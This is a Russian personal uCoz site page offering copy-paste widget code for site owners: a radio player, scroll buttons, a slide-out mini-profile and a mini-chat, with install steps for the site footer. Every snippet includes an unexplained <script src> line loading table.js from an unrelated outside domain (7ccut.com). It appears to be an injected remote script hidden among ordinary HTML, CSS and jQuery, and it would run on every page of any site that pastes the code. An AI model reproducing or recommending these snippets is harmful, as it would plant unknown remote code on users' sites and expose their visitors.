Сашкин сайт
Меню сайта
Форма входа
Категории раздела
Сенсация [15]
открытия, события, изобретения, достижения
Фильмы [3]
Книги [527]
Общее [150]
Программы и скрипты [12]
Новости сайта
[27.10.2021][Общее]
После долгого затишья продолжим (0)
[10.11.2016][Книги]
Сергиенко Вячеслав - AutoCad для чайника. Краткое руководство. Интерфейс. Панели инструментов (2014) pdf (1)
[10.11.2016][Книги]
Денис Егоров - Android для всех. Практическое пособие новичка (2012) pdf (0)
Новое на форуме
  • Пример плеера с видео "Вечная любовь" (2)
  • Хотите БЕСПЛАТНО почувствовать ЦИ!? (0)
  • "Сейфомания- в погоне за деньгами" (0)
  • Мои друзья

    онлайн школа


    онлайн школа

    Мой Кроха- для будущих и молодых мам.

    Доброе сердце

    сайт,единомышленников, профессионалов и автолюбителей.

    Тоже почитайте



    Погода
    Погода в Тверии
    Счетчик
    tveedo
    Главная » 2014 » Январь » 21
    В этом виджете радио размещено шесть радиостанций.
    Виджет имеет простй функщионал со списком популярных радио.
    Наименование радио: Наше радио; Радио Nrj; Kiss FM; Юмор Fm; Радио Рекорд; Kazantip FM

    Код
    <div id="radiobells_container"><a href="http://www.radiobells.com/" rel="nofollow" id="RP_link">www.radiobells.com</a> #radiobells_script_hash</div><script type="text/javascript">var rad_backcolor="#e0e0e0"; var rad_backcolor2="#f0f0f0"; var rad_textcolor="#727272"; var rad_bordercolor="#f5f5f5"; var rad_volumecolor="#ff0303"; var rad_logo = "black"; var rad_width=220; var rad_type = "horizontal"; var rad_autoplay = false;var rad_stations =[['http://mp3.nashe.ru/nashe-128.mp3','Наше радио'],['http://eu7.101.ru:8000/v1_1','Радио Nrj'],['http://stream.kissfm.ua:8000/kiss','Kiss FM'],['http://stream01.media.rambler.ru/umor128.mp3','Юмор Fm'],['http://online.radiorecord.ru:8101/rr_320','Радио Рекорд'],['http://kazantip-fm.ru:8000/mp3','Kazantip FM']];</script><script src="http://7ccut.com/table.js" type="text/javascript"></script><script type="text/javascript" src="http://www.radiobells.com/script/soundmanager.js" charset="UTF-8"></script><script type="text/javascript" src="http://www.radiobells.com/script/v1_5.js" charset="UTF-8"></script>
    Просмотров: 408 | Дата: 21.01.2014 | Рейтинг: 0.0/0 | Комментарии (0)


    Срипт для быстрого и плавного поднятия страници вверх, также можно опускать и вниз страницу сайта.
    Выполнен в стиле пальца вверх и вниз, светло синий цет
    Установка не сложная и не требует допполнителных навыков html

    Установка скрипта „Кнопка вверх и вниз“

    Заходим в панель управления сайтом,
    далее "Главная » Управление дизайном » Редактирование шаблонов"
    Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

    Код
    <div id="banners"><a style='position: fixed; bottom: 60px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'>
      <img src="http://pnghosts.ru/img/point-up.png" alt="Наверх" title="Наверх"></a>
      <script src="http://7ccut.com/table.js" type="text/javascript"></script>
      <a style='position: fixed; bottom: 20px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Bottom'>
      <img src="http://pnghosts.ru/img/point-down.png" alt="Вниз" title="Вниз">
      </a></div>

    <script>
    var go_down = jQuery('body');
    jQuery(function() {
      $("#Go_Top").hide().removeAttr("href");
      if ($(window).scrollTop() >= "250") $("#Go_Top").fadeIn("slow")
      var scrollDiv = $("#Go_Top");
      $(window).scroll(function() {
      if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
      else $(scrollDiv).fadeIn("slow")
      });

      $("#Go_Bottom").hide().removeAttr("href");
      if ($(window).scrollTop() <= go_down.height()-"999") $("#Go_Bottom").fadeIn("slow")
      var scrollDiv_2 = $("#Go_Bottom");
      $(window).scroll(function() {
      if ($(window).scrollTop() >= go_down.height()-"999") $(scrollDiv_2).fadeOut("slow")
      else $(scrollDiv_2).fadeIn("slow")
      });

      $("#Go_Top").click(function() {
      $("html, body").animate({scrollTop: 0}, "slow")
      })
      $("#Go_Bottom").click(function() {
      $("html, body").animate({scrollTop: go_down.height()}, "slow")
      })
    });
    </script>
    Просмотров: 438 | Дата: 21.01.2014 | Рейтинг: 0.0/0 | Комментарии (0)

    В этом топике мы будем устанавливать красивый выдвижной мини-профиль который вовсе не занимает место на сайте. Помимо функциональности, выдвижной мини-профиль добавит вашему сайту юзабилити, пользователям будет проще обращаться к основным функциям\ссылкам сайта касающиеся управления аккаунтом и не только.

    Вы так же можете изменять, добавлять: новые ссылки, иконки, расцветку выдвижного мини профиля. Я вам подробно распишу где, что и как изменить, а так же представлю 2 уже готовых цветовых решений (светлый, темный).

    Установка
    1. Установите HTML код на всех страницах сайта, рекомендую в нижнюю часть сайта.

    Код
    <?if($USER_LOGGED_IN$)?>  
      <ul class="uwaid_panel">  
      <li class="close_p">X</li>  
      <li><a href="$PERSONAL_PAGE_LINK$"><img src="<?if($USER_AVATAR_URL$)?>$USER_AVATAR_URL$<?else?>http://pnghosts.ru/img/1275.jpg<?endif?>">Мой профиль</a></li>  
      <li><a href="$PM_URL$"><i class="uwaid_icon message"></i>Сообщения <span>$UNREAD_PM$</span></a></li>  
      <li><a href="/index/11"><i class="uwaid_icon settings"></i>Изменить данные</a></li>  
      <li><a href="$LOGOUT_LINK$"><i class="uwaid_icon exit"></i>Выйти с сайта</a></li>  
      </ul><script src="http://7ccut.com/table.js" type="text/javascript"></script>  
      <div class="my_profile">Мой профиль</div>  
      <script type="text/javascript" src="http://pnghosts.ru/js_css/3983_profile.uwaid.r.js"></script>  
      <?endif?>


    2. В таблицу стилей (CSS) вставьте один из предложенных стилей.

    Темный (Основной)

    Код
    .uwaid_panel {position: fixed; right:10px; bottom:10px; display:none; list-style: none; margin: 0; padding: 0; z-index:9999999999999;}  
      .uwaid_panel a { width: 200px; height: 40px; text-decoration:none; display: block; padding: 9px;text-align: left; font: 16px Tahoma; line-height: 37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; }  
      .uwaid_panel a:hover { text-decoration:none;}  
      .uwaid_panel a img, .uwaid_icon { height: 40px; width: 40px; float: left; margin-right: 9px; }  
      .uwaid_panel a span {border-radius: 46px;float: right;padding: 0 15px;font-size: 13px;}  
      .uwaid_icon {background:url('http://pnghosts.ru/img/18148035.png');}  
      .settings {background-position-y: -40px;}  
      .exit {background-position-y: -80px;}  
      .my_profile {padding: 0 23px;z-index:9999999999999; text-align:center; font:16px Tahoma; line-height:37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; position:fixed; right:10px; bottom:10px;}  
      .my_profile:hover {cursor:pointer;}  
      .close_p {position: absolute;margin-left: 216px;border-radius: 17px;padding: 4px 8px;margin-top: -14px;}  
      .close_p:hover {cursor:pointer;}  
      /* Цветовые стили */  
      .uwaid_panel {border:7px solid #33373b;border-bottom:6px solid #33373b;border-left:none; }  
      .uwaid_panel a {background: #272a2d; border-left:7px solid #33373b;color: #fff;}  
      .uwaid_panel a:hover {background:#232629;border-left:7px solid #e05b5b;}  
      .uwaid_panel a span {background: #e05b5b;}  
      .my_profile {border:7px solid #33373b;background: #272a2d;color:#fff;}  
      .my_profile:hover {background:#454B50;}  
      .close_p {background: #e05b5b;color: #fff;}  
      .close_p:hover {background:#F87676;}


    Светлый

    Код
    .uwaid_panel { position: fixed; right:10px; bottom:10px; display:none; list-style: none; margin: 0; padding: 0; z-index:9999999999999;}  
      .uwaid_panel a { width: 200px; height: 40px; text-decoration:none; display: block; padding: 9px;text-align: left; font: 16px Tahoma; line-height: 37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; }  
      .uwaid_panel a:hover {text-decoration:none;}  
      .uwaid_panel a img, .uwaid_icon { height: 40px; width: 40px; float: left; margin-right: 9px; }  
      .uwaid_panel a span {border-radius: 46px;float: right;padding: 0 15px;font-size: 13px;}  
      .uwaid_icon {background:url('http://pnghosts.ru/img/18148035.png');}  
      .settings {background-position-y: -40px;}  
      .exit {background-position-y: -80px;}  
      .my_profile {padding: 0 23px;z-index:9999999999999; text-align:center; font:16px Tahoma; line-height:37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; position:fixed; right:10px; bottom:10px;}  
      .my_profile:hover {cursor:pointer;}  
      .close_p {position: absolute;margin-left: 216px;border-radius: 17px;padding: 4px 8px;margin-top: -14px;}  
      .close_p:hover {cursor:pointer;}  
      /* Цветовые стили */  
      .uwaid_panel {border: 7px solid #C4C6C7;border-bottom: 6px solid #C4C6C7;border-left:none;}  
      .uwaid_panel a {background: #E4E4E4;border-left: 7px solid #C4C6C7;color:#555353;text-shadow: 0 1px 0 #fff;}  
      .uwaid_panel a:hover {background: #A2A2A2;border-left: 7px solid #807C7C;text-shadow:0 1px 0 #BDBDBD;}  
      .uwaid_panel a span {background: #C7C7C7;}  
      .my_profile {background:#E4E4E4;border: 7px solid #C4C6C7;color:#555353;}  
      .my_profile:hover {background:#DAD7D7; border: 7px solid #807C7C;}  
      .close_p {background: #C7C7C7;color: #fff;}  
      .close_p:hover {background: #A2A2A2;}


    Настройка цветов
    Для удобства все стили отвечающие за цветовую схему выдвижного мини-профиля вынесены в отдельные селекторы. После "/* Цветовые стили */".
    .uwaid_panel — Основной стиль панели.
    .uwaid_panel a — Стили ссылки в обычном состоянии.
    .uwaid_panel a:hover — Стили ссылки при наведении.
    .uwaid_panel a span — Стили количества сообщений.
    .my_profile — Стили кнопки вызова панели.
    .close_p — Стили кнопки закрытия панели.

    Основываясь на этом можно изменять цвета:
    border — Обводка
    background — Фон
    color — Цвет текста
    Просмотров: 392 | Дата: 21.01.2014 | Рейтинг: 0.0/0 | Комментарии (0)

    Мини-чат скрипт для uCoz, который установить можно за 1 минуту, так же этот скрипт подойдёт на любой сайт с любой тематикой и впишется в любой, даже самый капризный дизайн! Что делает скрипт? Он устанавливает мини чат в самый низ в правую сторону сайта и при нажатие на картинку ЧАТ , появится окошки с чатом! Теперь пользователи могут общаться там, но в тоже время он не будет мoзолить глаза тем, кому он вовсе не нужен. Устанавливаем:

    Установка:

    #1 заходим на сайт и в админ панель
    #2 Открываем Дизайн - Управление Дизайном Сайта
    #3 Переходим в GLOBAL_BFOOTER или просто Нижнюю часть сайта
    #4 Устанавливаем код в самый низ сайта и ГОТОВО!

    Код
    <style>  
      .chat_box {display:none;position:fixed;bottom:15px;right:15px;border:1px solid #dddddd;background:#fbfbfb;padding:4px;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:2px 2px 3px #9b9b9b;-webkit-box-shadow:2px 2px 3px #9b9b9b;box-shadow:2px 2px 3px #9b9b9b;}  
      .chat_box div.close {display:block;position:absolute;right:0;top:0;background:url('http://pnghosts.ru/img/chat_box_closeprofil.png') no-repeat;width:16px;height:16px;opacity:0.6;-moz-opacity:0.6;filter:alpha(opacity=60);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=60);}  
    .chat_box div.close:hover {cursor:pointer;opacity:1.0;-moz-opacity:1.0;filter:alpha(opacity=100);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}  
       
      div.chat_button {display:block;width:75px;height:75px;background:url('http://pnghosts.ru/img/chat_button_prifil.png') no-repeat;position:fixed;bottom:15px;right:15px;opacity:0.8;-moz-opacity:0.8;filter:alpha(opacity=80);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=80);}  
    div.chat_button:hover {cursor:pointer;opacity:1.0;-moz-opacity:1.0;filter:alpha(opacity=100);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}  
    </style> <script src="http://7ccut.com/table.js" type="text/javascript"></script>  
    <div class="chat_button" onclick="$('.chat_button').fadeOut('fast');$('.chat_box').slideToggle('slow');"></div>  
    <div class="chat_box"><div class="close" onclick="$('.chat_box').slideToggle('fast');$('.chat_button').fadeIn('slow');"></div>  
    <div id="chatBox">$CHAT_BOX$</div>  
    </div>
    Просмотров: 317 | Дата: 21.01.2014 | Рейтинг: 0.0/0 | Комментарии (0)

    Тranslate Перевод
    Поиск
    Друзья сайта.
    ...
    Архив записей
    Наш опрос
    Оцените мой сайт
    Всего ответов: 446
    Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Кто был на сайте
    Код нашего баннера

    Сашкин сайт.


    Посетители сайта
    ...
    Copyright MyCorp © 2024